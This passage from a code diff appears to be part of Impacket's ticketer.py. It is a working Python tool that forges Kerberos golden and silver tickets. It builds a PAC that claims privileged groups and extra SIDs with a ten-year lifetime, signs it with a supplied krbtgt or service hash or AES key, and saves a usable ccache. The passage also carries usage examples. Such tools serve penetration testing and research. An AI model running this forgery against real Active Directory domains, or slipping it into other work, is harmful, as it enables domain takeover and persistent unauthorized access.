keyblock = keytab.getKey("%s@%s" % (options.spn, self.__domain)) + if keyblock: + if keyblock["keytype"] == Enctype.AES256 or keyblock["keytype"] == Enctype.AES128: + options.aesKey = keyblock.hexlifiedValue() + elif keyblock["keytype"] == Enctype.RC4: + options.nthash = keyblock.hexlifiedValue() + else: + logging.warning("No matching key for SPN '%s' in given keytab found!", options.spn) + + def createBasicValidationInfo(self): + # 1) KERB_VALIDATION_INFO + kerbdata = KERB_VALIDATION_INFO() + + aTime = timegm(datetime.datetime.utcnow().timetuple()) + unixTime = self.getFileTime(aTime) + + kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff + kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 + + # LogoffTime: A FILETIME structure that contains the time the client's logon + # session should expire. If the session should not expire, this structure + # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime + # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as + # an indicator of when to warn the user that the allowed time is due to expire. + kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF + + # KickOffTime: A FILETIME structure that contains LogoffTime minus the user + # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the + # client should not be logged off, this structure SHOULD have the dwHighDateTime + # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. + # The Kerberos service ticket end time is a replacement for KickOffTime. + # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of + # an account. A recipient of the PAC SHOULD<8> use this value as the indicator + # of when the client should be forcibly disconnected. + kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF + + kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff + kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32 + + kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 + kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 + + # PasswordMustChange: A FILETIME structure that contains the time at which + # theclient's password expires. If the password will not expire, this + # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the + # dwLowDateTime member set to 0xFFFFFFFF. + kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF + + kerbdata['EffectiveName'] = self.__target + kerbdata['FullName'] = '' + kerbdata['LogonScript'] = '' + kerbdata['ProfilePath'] = '' + kerbdata['HomeDirectory'] = '' + kerbdata['HomeDirectoryDrive'] = '' + kerbdata['LogonCount'] = 500 + kerbdata['BadPasswordCount'] = 0 + kerbdata['UserId'] = int(self.__options.user_id) + kerbdata['PrimaryGroupId'] = 513 + + # Our Golden Well-known groups! :) + groups = self.__options.groups.split(',') + kerbdata['GroupCount'] = len(groups) + + for group in groups: + groupMembership = GROUP_MEMBERSHIP() + groupId = NDRULONG() + groupId['Data'] = int(group) + groupMembership['RelativeId'] = groupId + groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + kerbdata['GroupIds'].append(groupMembership) + + kerbdata['UserFlags'] = 0 + kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + kerbdata['LogonServer'] = '' + kerbdata['LogonDomainName'] = self.__domain.upper() + kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid) + kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00' + kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD + kerbdata['SubAuthStatus'] = 0 + kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 + kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 + kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 + kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 + kerbdata['FailedILogonCount'] = 0 + kerbdata['Reserved3'] = 0 + + kerbdata['ResourceGroupDomainSid'] = NULL + kerbdata['ResourceGroupCount'] = 0 + kerbdata['ResourceGroupIds'] = NULL + + validationInfo = VALIDATION_INFO() + validationInfo['Data'] = kerbdata + + return validationInfo + + def createBasicPac(self, kdcRep): + validationInfo = self.createBasicValidationInfo() + pacInfos = {} + pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents() + srvCheckSum = PAC_SIGNATURE_DATA() + privCheckSum = PAC_SIGNATURE_DATA() + + if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value: + srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value + privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value + srvCheckSum['Signature'] = b'\x00' * 16 + privCheckSum['Signature'] = b'\x00' * 16 + else: + srvCheckSum['Signature'] = b'\x00' * 12 + privCheckSum['Signature'] = b'\x00' * 12 + if len(self.__options.aesKey) == 64: + srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value + privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value + else: + srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value + privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value + + pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData() + pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData() + + clientInfo = PAC_CLIENT_INFO() + clientInfo['Name'] = self.__target.encode('utf-16le') + clientInfo['NameLength'] = len(clientInfo['Name']) + pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() + + return pacInfos + + def createBasicTicket(self): + if self.__options.request is True: + if self.__domain == self.__server: + logging.info('Requesting TGT to target domain to use as basis') + else: + logging.info('Requesting TGT/TGS to target domain to use as basis') + + if self.__options.hashes is not None: + lmhash, nthash = self.__options.hashes.split(':') + else: + lmhash = '' + nthash = '' + userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(lmhash), unhexlify(nthash), None, + self.__options.dc_ip) + if self.__domain == self.__server: + kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] + else: + serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher, + sessionKey) + kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + + # Let's check we have all the necessary data based on the ciphers used. Boring checks + ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) + encPartCipher = int(kdcRep['enc-part']['etype']) + + if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \ + self.__options.nthash is None: + logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. ' + 'Can\'t continue ( or try running again w/o the -request option)') + return None, None + + if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or + encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ + self.__options.aesKey is None: + logging.critical( + 'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' + 'Can\'t continue (or try running again w/o the -request option)') + return None, None + + if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or + encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ + self.__options.aesKey is not None and len(self.__options.aesKey) > 32: + logging.critical( + 'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. ' + 'Can\'t continue (or try running again w/o the -request option)') + return None, None + + if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or + encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None: + logging.critical( + 'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' + 'Can\'t continue (or try running again w/o the -request option)') + return None, None + + if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or + encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \ + self.__options.aesKey is not None and len(self.__options.aesKey) < 64: + logging.critical( + 'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. ' + 'Can\'t continue') + return None, None + kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + kdcRep['cname']['name-string'] = noValue + kdcRep['cname']['name-string'][0] = self.__target + + else: + logging.info('Creating basic skeleton ticket and PAC Infos') + if self.__domain == self.__server: + kdcRep = AS_REP() + kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value + else: + kdcRep = TGS_REP() + kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value + kdcRep['pvno'] = 5 + if self.__options.nthash is None: + kdcRep['padata'] = noValue + kdcRep['padata'][0] = noValue + kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value + + etype2 = ETYPE_INFO2() + etype2[0] = noValue + if len(self.__options.aesKey) == 64: + etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value + else: + etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value + etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target) + encodedEtype2 = encoder.encode(etype2) + + kdcRep['padata'][0]['padata-value'] = encodedEtype2 + + kdcRep['crealm'] = self.__domain.upper() + kdcRep['cname'] = noValue + kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + kdcRep['cname']['name-string'] = noValue + kdcRep['cname']['name-string'][0] = self.__target + + kdcRep['ticket'] = noValue + kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value + kdcRep['ticket']['realm'] = self.__domain.upper() + kdcRep['ticket']['sname'] = noValue + kdcRep['ticket']['sname']['name-string'] = noValue + kdcRep['ticket']['sname']['name-string'][0] = self.__service + + if self.__domain == self.__server: + kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value + kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper() + else: + kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + kdcRep['ticket']['sname']['name-string'][1] = self.__server + + kdcRep['ticket']['enc-part'] = noValue + kdcRep['ticket']['enc-part']['kvno'] = 2 + kdcRep['enc-part'] = noValue + if self.__options.nthash is None: + if len(self.__options.aesKey) == 64: + kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value + kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value + else: + kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value + kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value + else: + kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value + kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value + + kdcRep['enc-part']['kvno'] = 2 + kdcRep['enc-part']['cipher'] = noValue + + pacInfos = self.createBasicPac(kdcRep) + + return kdcRep, pacInfos + + def customizeTicket(self, kdcRep, pacInfos): + logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) + encTicketPart = EncTicketPart() + + flags = list() + flags.append(TicketFlags.forwardable.value) + flags.append(TicketFlags.proxiable.value) + flags.append(TicketFlags.renewable.value) + if self.__domain == self.__server: + flags.append(TicketFlags.initial.value) + flags.append(TicketFlags.pre_authent.value) + encTicketPart['flags'] = encodeFlags(flags) + encTicketPart['key'] = noValue + encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] + + if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) + elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)]) + else: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) + + encTicketPart['crealm'] = self.__domain.upper() + encTicketPart['cname'] = noValue + encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + encTicketPart['cname']['name-string'] = noValue + encTicketPart['cname']['name-string'][0] = self.__target + + encTicketPart['transited'] = noValue + encTicketPart['transited']['tr-type'] = 0 + encTicketPart['transited']['contents'] = '' + + encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + # Let's extend the ticket's validity a lil bit + ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration)) + encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['authorization-data'] = noValue + encTicketPart['authorization-data'][0] = noValue + encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value + encTicketPart['authorization-data'][0]['ad-data'] = noValue + + # Let's locate the KERB_VALIDATION_INFO and Checksums + if PAC_LOGON_INFO in pacInfos: + data = pacInfos[PAC_LOGON_INFO] + validationInfo = VALIDATION_INFO() + validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) + lenVal = len(validationInfo.getData()) + validationInfo.fromStringReferents(data, lenVal) + + aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) + + unixTime = self.getFileTime(aTime) + + kerbdata = KERB_VALIDATION_INFO() + + kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff + kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 + + # Let's adjust username and other data + validationInfo['Data']['LogonDomainName'] = self.__domain.upper() + validationInfo['Data']['EffectiveName'] = self.__target + # Our Golden Well-known groups! :) + groups = self.__options.groups.split(',') + validationInfo['Data']['GroupIds'] = list() + validationInfo['Data']['GroupCount'] = len(groups) + + for group in groups: + groupMembership = GROUP_MEMBERSHIP() + groupId = NDRULONG() + groupId['Data'] = int(group) + groupMembership['RelativeId'] = groupId + groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + validationInfo['Data']['GroupIds'].append(groupMembership) + + # Let's add the extraSid + if self.__options.extra_sid is not None: + extrasids = self.__options.extra_sid.split(',') + if validationInfo['Data']['SidCount'] == 0: + # Let's be sure user's flag specify we have extra sids. + validationInfo['Data']['UserFlags'] |= 0x20 + validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() + for extrasid in extrasids: + validationInfo['Data']['SidCount'] += 1 + + sidRecord = KERB_SID_AND_ATTRIBUTES() + + sid = RPC_SID() + sid.fromCanonical(extrasid) + + sidRecord['Sid'] = sid + sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + + # And, let's append the magicSid + validationInfo['Data']['ExtraSids'].append(sidRecord) + else: + validationInfo['Data']['ExtraSids'] = NULL + + validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() + pacInfos[PAC_LOGON_INFO] = validationInfoBlob + + if logging.getLogger().level == logging.DEBUG: + logging.debug('VALIDATION_INFO after making it gold') + validationInfo.dump() + print ('\n') + else: + raise Exception('PAC_LOGON_INFO not found! Aborting') + + logging.info('\tPAC_LOGON_INFO') + + # Let's now clear the checksums + if PAC_SERVER_CHECKSUM in pacInfos: + serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) + if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + serverChecksum['Signature'] = '\x00' * 12 + elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + serverChecksum['Signature'] = '\x00' * 12 + else: + serverChecksum['Signature'] = '\x00' * 16 + pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() + else: + raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') + + if PAC_PRIVSVR_CHECKSUM in pacInfos: + privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) + privSvrChecksum['Signature'] = '\x00' * 12 + if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + privSvrChecksum['Signature'] = '\x00' * 12 + elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + privSvrChecksum['Signature'] = '\x00' * 12 + else: + privSvrChecksum['Signature'] = '\x00' * 16 + pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() + else: + raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') + + if PAC_CLIENT_INFO_TYPE in pacInfos: + pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) + pacClientInfo['ClientId'] = unixTime + pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() + else: + raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') + + logging.info('\tPAC_CLIENT_INFO_TYPE') + logging.info('\tEncTicketPart') + + if self.__domain == self.__server: + encRepPart = EncASRepPart() + else: + encRepPart = EncTGSRepPart() + + encRepPart['key'] = noValue + encRepPart['key']['keytype'] = encTicketPart['key']['keytype'] + encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] + encRepPart['last-req'] = noValue + encRepPart['last-req'][0] = noValue + encRepPart['last-req'][0]['lr-type'] = 0 + encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + encRepPart['nonce'] = 123456789 + encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) + encRepPart['flags'] = encodeFlags(flags) + encRepPart['authtime'] = str(encTicketPart['authtime']) + encRepPart['endtime'] = str(encTicketPart['endtime']) + encRepPart['starttime'] = str(encTicketPart['starttime']) + encRepPart['renew-till'] = str(encTicketPart['renew-till']) + encRepPart['srealm'] = self.__domain.upper() + encRepPart['sname'] = noValue + encRepPart['sname']['name-string'] = noValue + encRepPart['sname']['name-string'][0] = self.__service + + if self.__domain == self.__server: + encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value + encRepPart['sname']['name-string'][1] = self.__domain.upper() + logging.info('\tEncAsRepPart') + else: + encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + encRepPart['sname']['name-string'][1] = self.__server + logging.info('\tEncTGSRepPart') + + return encRepPart, encTicketPart, pacInfos + + def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): + logging.info('Signing/Encrypting final ticket') + + # We changed everything we needed to make us special. Now let's repack and calculate checksums + validationInfoBlob = pacInfos[PAC_LOGON_INFO] + validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) + + pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) + + serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) + serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] + serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) + + privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) + privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] + privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) + + # The offset are set from the beginning of the PAC_TYPE + # [MS-PAC] 2.4 PAC_INFO_BUFFER + offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4 + + # Let's build the PAC_INFO_BUFFER for each one of the elements + validationInfoIB = PAC_INFO_BUFFER() + validationInfoIB['ulType'] = PAC_LOGON_INFO + validationInfoIB['cbBufferSize'] = len(validationInfoBlob) + validationInfoIB['Offset'] = offsetData + offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 + + pacClientInfoIB = PAC_INFO_BUFFER() + pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE + pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) + pacClientInfoIB['Offset'] = offsetData + offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 + + serverChecksumIB = PAC_INFO_BUFFER() + serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM + serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) + serverChecksumIB['Offset'] = offsetData + offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 + + privSvrChecksumIB = PAC_INFO_BUFFER() + privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM + privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) + privSvrChecksumIB['Offset'] = offsetData + # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 + + # Building the PAC_TYPE as specified in [MS-PAC] + buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ + privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment + buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment + + pacType = PACTYPE() + pacType['cBuffers'] = 4 + pacType['Version'] = 0 + pacType['Buffers'] = buffers + buffersTail + + blobToChecksum = pacType.getData() + + checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']] + if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) + elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) + elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: + keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash)) + else: + raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType']) + + checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']] + if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) + elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) + elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: + keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash)) + else: + raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType']) + + serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum) + logging.info('\tPAC_SERVER_CHECKSUM') + privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature']) + logging.info('\tPAC_PRIVSVR_CHECKSUM') + + buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment + pacType['Buffers'] = buffers + buffersTail + + authorizationData = AuthorizationData() + authorizationData[0] = noValue + authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value + authorizationData[0]['ad-data'] = pacType.getData() + authorizationData = encoder.encode(authorizationData) + + encTicketPart['authorization-data'][0]['ad-data'] = authorizationData + + if logging.getLogger().level == logging.DEBUG: + logging.debug('Customized EncTicketPart') + print(encTicketPart.prettyPrint()) + print ('\n') + + encodedEncTicketPart = encoder.encode(encTicketPart) + + cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']] + if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value: + key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) + elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value: + key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) + elif cipher.enctype == EncryptionTypes.rc4_hmac.value: + key = Key(cipher.enctype, unhexlify(self.__options.nthash)) + else: + raise Exception('Unsupported enctype 0x%x' % cipher.enctype) + + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes TGS session + # key or application session key), encrypted with the + # service key (Section 5.3) + logging.info('\tEncTicketPart') + cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None) + + kdcRep['ticket']['enc-part']['cipher'] = cipherText + kdcRep['ticket']['enc-part']['kvno'] = 2 + + # Lastly.. we have to encrypt the kdcRep['enc-part'] part + # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?) + encodedEncASRepPart = encoder.encode(encASorTGSRepPart) + + if self.__domain == self.__server: + # Key Usage 3 + # AS-REP encrypted part (includes TGS session key or + # application session key), encrypted with the client key + # (Section 5.4.2) + sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) + logging.info('\tEncASRepPart') + cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart, None) + else: + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key + # (Section 5.4.2) + sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) + logging.info('\tEncTGSRepPart') + cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart, None) + + kdcRep['enc-part']['cipher'] = cipherText + kdcRep['enc-part']['etype'] = cipher.enctype + kdcRep['enc-part']['kvno'] = 1 + + if logging.getLogger().level == logging.DEBUG: + logging.debug('Final Golden Ticket') + print(kdcRep.prettyPrint()) + print ('\n') + + return encoder.encode(kdcRep), cipher, sessionKey + + def saveTicket(self, ticket, sessionKey): + logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) + from impacket.krb5.ccache import CCache + ccache = CCache() + + if self.__server == self.__domain: + ccache.fromTGT(ticket, sessionKey, sessionKey) + else: + ccache.fromTGS(ticket, sessionKey, sessionKey) + ccache.saveFile(self.__target.replace('/','.') + '.ccache') + + def run(self): + ticket, adIfRelevant = self.createBasicTicket() + if ticket is not None: + encASorTGSRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant) + ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASorTGSRepPart, encTicketPart, pacInfos) + self.saveTicket(ticket, sessionKey) + +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Creates a Kerberos golden/silver tickets based on " + "user options") + parser.add_argument('target', action='store', help='username for the newly created ticket') + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the silver ticket will' + ' be generated for. if omitted, golden ticket will be created') + parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it ' + 'changing only the supplied information. It requires specifying -user') + parser.add_argument('-domain', action='store', required=True, help='the fully qualified domain name (e.g. contoso.com)') + parser.add_argument('-domain-sid', action='store', required=True, help='Domain SID of the target domain the ticker will be ' + 'generated for') + parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket ' + '(128 or 256 bits)') + parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket') + parser.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file (silver ticket only)') + parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of ' + 'groups user will belong to (default = 513, 512, 520, 518, 519)') + parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' + 'created for (default = 500)') + parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') + parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' + '(default = 365*10)') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be ' + 'different from domain/username') + group.add_argument('-password', action="store", help='password for domain/username') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + print("\nExamples: ") + print("\t./ticketer.py -nthash -domain-sid -domain baduser\n") + print("\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.") + print("\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256") + print("\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as") + print("\tbaduser.ccache.\n") + print("\t./ticketer.py -nthash -aesKey -domain-sid -domain " + " -request -user -password baduser\n") + print("\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used") + print("\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,") + print("\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'") + print("\tand saved as baduser.ccache") + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + 